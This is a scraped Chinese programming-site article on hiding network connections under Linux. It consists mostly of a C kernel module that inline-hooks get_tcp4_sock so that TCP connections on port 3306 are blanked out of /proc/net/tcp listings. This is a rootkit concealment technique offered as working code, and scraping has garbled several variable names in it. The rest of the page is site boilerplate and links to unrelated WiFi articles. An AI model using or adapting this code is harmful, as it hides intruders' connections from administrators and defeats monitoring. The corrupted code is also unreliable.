我的编程空间,编程开发者的网络收藏夹
学习永远不晚

Linux下怎么隐藏网络连接

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

Linux下怎么隐藏网络连接

本篇内容介绍了“Linux下怎么隐藏网络连接”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!

直接inline hook住get_tcp4_sock这个函数就行了,只不过需要重新实现下get_tcp4_sock的功能,在作下过滤。比较简单,代码如下:

#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/types.h>
#include <linux/string.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <linux/kmod.h>
#include <linux/file.h>
#include <linux/sched.h>
#include <linux/mm.h>
#include <linux/slab.h>
#include <linux/spinlock.h>
#include <linux/socket.h>
#include <linux/net.h>
#include <linux/in.h>
#include <linux/skbuff.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <net/sock.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <asm/termbits.h>
#include <asm/ioctls.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");

__u32 wnps_in_aton(const char *str)
{
unsigned long l;
unsigned int val;
int i;

l = 0;
for (i = 0; i < 4; i++) {
l <<= 8;
if (*str != '\0') {
val = 0;
while (*str != '\0' && *str != '.') {
val *= 10;
val += *str - '0';
str++;
}
l |= val;
if (*str != '\0')
str++;
}
}

return(htonl(l));
}

void new_get_tcp4_sock(struct sock *sk, struct seq_file *f, int i, int *len)
{
int timer_active;
unsigned long timer_expires;
struct tcp_sock *tp = tcp_sk(sk);
const struct inet_connection_sock *icsk = inet_csk(sk);
struct inet_sock *inet = inet_sk(sk);
__be32 dest = inet->daddr;
__be32 class="lazy" data-src = inet->rcv_saddr;
__u16 destp = ntohs(inet->dport);
__u16 class="lazy" data-srcp = ntohs(inet->sport);

printk("!! in new_get_tcp4_sock.\n");

if (icsk->icsk_pending == ICSK_TIME_RETRANS) {
timer_active    = 1;
timer_expires   = icsk->icsk_timeout;
} else if (icsk->icsk_pending == ICSK_TIME_PROBE0) {
timer_active    = 4;
timer_expires   = icsk->icsk_timeout;
} else if (timer_pending(&sk->sk_timer)) {
timer_active    = 2;
timer_expires   = sk->sk_timer.expires;
} else {
timer_active    = 0;
timer_expires = jiffies;
}


if (class="lazy" data-srcp == 3306 || destp == 3306) {
printk("got 3306!\n");
seq_printf(f, "%4d: %08X:%04X %08X:%04X %02X %08X:%08X %02X:%08lX "
"%08X %5d %8d %lu %d %p %lu %lu %u %u %d%n",
0, 0, 0, 0, 0, 0,
tp->write_seq - tp->snd_una,
sk->sk_state == TCP_LISTEN ? sk->sk_ack_backlog :
(tp->rcv_nxt - tp->copied_seq),
timer_active,
jiffies_to_clock_t(timer_expires - jiffies),
icsk->icsk_retransmits,
sock_i_uid(sk),
icsk->icsk_probes_out,
sock_i_ino(sk),
atomic_read(&sk->sk_refcnt), sk,
jiffies_to_clock_t(icsk->icsk_rto),
jiffies_to_clock_t(icsk->icsk_ack.ato),
(icsk->icsk_ack.quick << 1) | icsk->icsk_ack.pingpong,
tp->snd_cwnd,
tp->snd_ssthresh >= 0xFFFF ? -1 : tp->snd_ssthresh,
len);

}
else {
seq_printf(f, "%4d: %08X:%04X %08X:%04X %02X %08X:%08X %02X:%08lX "
"%08X %5d %8d %lu %d %p %lu %lu %u %u %d%n",
i, class="lazy" data-src, class="lazy" data-srcp, dest, destp, sk->sk_state,
tp->write_seq - tp->snd_una,
sk->sk_state == TCP_LISTEN ? sk->sk_ack_backlog :
(tp->rcv_nxt - tp->copied_seq),
timer_active,
jiffies_to_clock_t(timer_expires - jiffies),
icsk->icsk_retransmits,
sock_i_uid(sk),
icsk->icsk_probes_out,
sock_i_ino(sk),
atomic_read(&sk->sk_refcnt), sk,
jiffies_to_clock_t(icsk->icsk_rto),
jiffies_to_clock_t(icsk->icsk_ack.ato),
(icsk->icsk_ack.quick << 1) | icsk->icsk_ack.pingpong,
tp->snd_cwnd,
tp->snd_ssthresh >= 0xFFFF ? -1 : tp->snd_ssthresh,
len);
}
}

“Linux下怎么隐藏网络连接”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识可以关注编程网网站,小编将为大家输出更多高质量的实用文章!

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

Linux下怎么隐藏网络连接

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

Linux下怎么隐藏网络连接

本篇内容介绍了“Linux下怎么隐藏网络连接”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!直接inline hook住get_tcp4_so
2023-06-17

隐藏网络怎么连接?Win8.1系统连接隐藏SSID网络的方法图解

最近发现家中无线网络经常会莫名的变慢,有时候还会掉线,经过一番原因查找,发现原来无线网络密码被破解,被他人免费蹭网所致。出于职业的密码,立即修改了无线密码,并加强了无线安全设置,隐藏了SSID。问题来了,路由器中设置隐藏SSID后,自己使用
2022-06-04

Win8.1怎么连接隐藏SSID网络从而无线联网

最近发现家中无线网络经常会莫名的变慢,有时候还会掉线,经过一番原因查找,发现原来无线网络密码被破解,被他人免费蹭网所致。出于职业的密码,立即修改了无线密码,并加强了无线安全设置,隐藏了SSID。问题来了,路由器中设置隐藏SSID后,自己使用
2022-06-04

笔记本电脑如何连接隐藏网络

小编给大家分享一下笔记本电脑如何连接隐藏网络,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!1、右击桌面上的网络图标,选择属性。2、在打开的网络和共享中心页面中,点
2023-06-28

win10怎么连接隐藏wifi

本文小编为大家详细介绍“win10怎么连接隐藏wifi”,内容详细,步骤清晰,细节处理妥当,希望这篇“win10怎么连接隐藏wifi”文章能帮助大家解决疑惑,下面跟着小编的思路慢慢深入,一起来学习新知识吧。1、首先右击桌面右下角的网络图标,
2023-07-02

如何连接win8系统隐藏ssid无线网络

小编给大家分享一下如何连接win8系统隐藏ssid无线网络,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!1、首先可以直接点击win8桌面右下角任务栏中的“无线”图
2023-06-28

Windows7系统如何连接隐藏SSID的无线网络

本文将教大家如何连接编程客栈Windows 7系统隐藏SSID的无线网络首先我们点击电脑右下角的无线标志,有个“其他网络”选项,我们点击“http://www.cppcns.com其他网络”选
2023-06-05

Win8.1系统下如何连接隐藏SSID网络默认是找不到的

SSID,Service Set Identifier的缩写,是一种无线网络中的专业术语。在无线路由器设置中,SSID广播就是设置Wifi无线网络名称。为了防止无线网络密码被破解,很多朋友会修改路由器隐藏SSID,但问题随之出现了,隐藏了S
2022-06-04

linux怎么开启网络连接

在Linux系统中,开启网络连接有多种方法,下面是其中两种常见的方法:1. 命令行方式:- 打开终端(命令行界面)。- 输入以下命令以启用网络连接:```sudo systemctl start network-manager```- 输入
2023-09-22

Broadcom网卡linux系统下无法连接到网络怎么办

这篇文章主要介绍了Broadcom网卡linux系统下无法连接到网络怎么办,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。正题开始:首先查看你的网卡型号,在终端输入命令lspc
2023-06-13

linux网络连接状态怎么检查

要检查Linux系统中的网络连接状态,可以使用以下命令:ifconfig:显示当前网络接口的配置和状态,包括IP地址、网络掩码、广播地址等信息。netstat:显示系统的网络连接状态和路由表信息。ss:用于获取Linux系统中的套接字统
linux网络连接状态怎么检查
2024-02-29

linux怎么查看网络连接信息

在Linux上查看网络连接信息可以使用以下命令:1. `ifconfig`:用于查看网络接口的配置和状态信息。2. `ip addr show`:显示所有网络接口的IP地址和状态信息。3. `netstat -tunl`:显示所有TCP和U
2023-10-10

Linux系统怎么检查网络连接

这篇文章主要介绍Linux系统怎么检查网络连接,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!ifquery 命令一个非常有用的命令是 ifquery。这个命令应该会显示一个网络接口列表。但是,你可能只会看到类似这样的
2023-06-28

搜索不到无线路由的SSIDWin7如何连接隐藏SSID无线网络

zBjGeoQnr 这篇Win7系统下连接隐藏的SSID无线网络的方法分享给大家,现在的无线网络无处不在,一些无线路由器已经被广泛应用于家庭和各大中型企业中,方便上网,不过有些时候用户会将无线路由的SSID隐藏掉,这样别人就搜索不到,不过要
2023-06-07

Linux下如何配置Docker容器间网络连接

本篇内容主要讲解“Linux下如何配置Docker容器间网络连接”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“Linux下如何配置Docker容器间网络连接”吧!Docker容器都是独立的,互相
2023-06-12

Win8下手机无法连接Wifi网络怎么办

现在的智能手机越来越普及了,使用智能手机来刷微博,摇微信的朋友也是越来越多,使用手机来上网,使用Wifi是必不可少的,不但可以节约费用,还可以享用高速的宽带。但是有时候会出现手机无法正常连接Wifi网络的情况,下面小编就来教大家解决手机无法
2022-06-04

怎么连云服务器网络连接

连云服务器网络连接可能涉及多种问题,以下是一些常见的问题和解决方法:连接失败:可能是因为用户尝试连接到服务器的端口已经用完了,或者是网络连接出现了问题。这时候可以尝试重新启动服务器或者联系网络管理员进行修复。服务器故障:服务器故障可能导致连接出现问题,这时候我们需要检查服务器硬件和系统的各项设置,例如网络设置、端口设置等,以确保服务器能够正常运行。网络连接超时:如果用户尝试在服务器上使用多个网卡或连接多个服...
2023-10-27

win7网络连接怎么优化

这篇“win7网络连接怎么优化”文章的知识点大部分人都不太理解,所以小编给大家总结了以下内容,内容详细,步骤清晰,具有一定的借鉴价值,希望大家阅读完这篇文章能有所收获,下面我们一起来看看这篇“win7网络连接怎么优化”文章吧。win7网络连
2023-07-01

win10怎么设置网络连接

在Windows 10中设置网络连接,你可以按照以下步骤操作:1. 点击Windows开始菜单,然后点击“设置”图标(齿轮形状)。2. 在“设置”窗口中,点击“网络和Internet”。3. 在左侧菜单中,选择“Wi-Fi”或“以太网”(根
2023-08-31

WinXP系统怎么连接网络?

尽管微软已经停止对WinXP系统提供修补和升级,但仍有大量消费者继续使用它。有WinXP系统客户跟我体现自身上不了网互联网了,这应该怎么办?碰到问题别着急,下边咱们就一起来看看WinXP网络连接的实例教程。详尽设定流程如下所示:第一步:桌面
2023-07-16

编程热搜

目录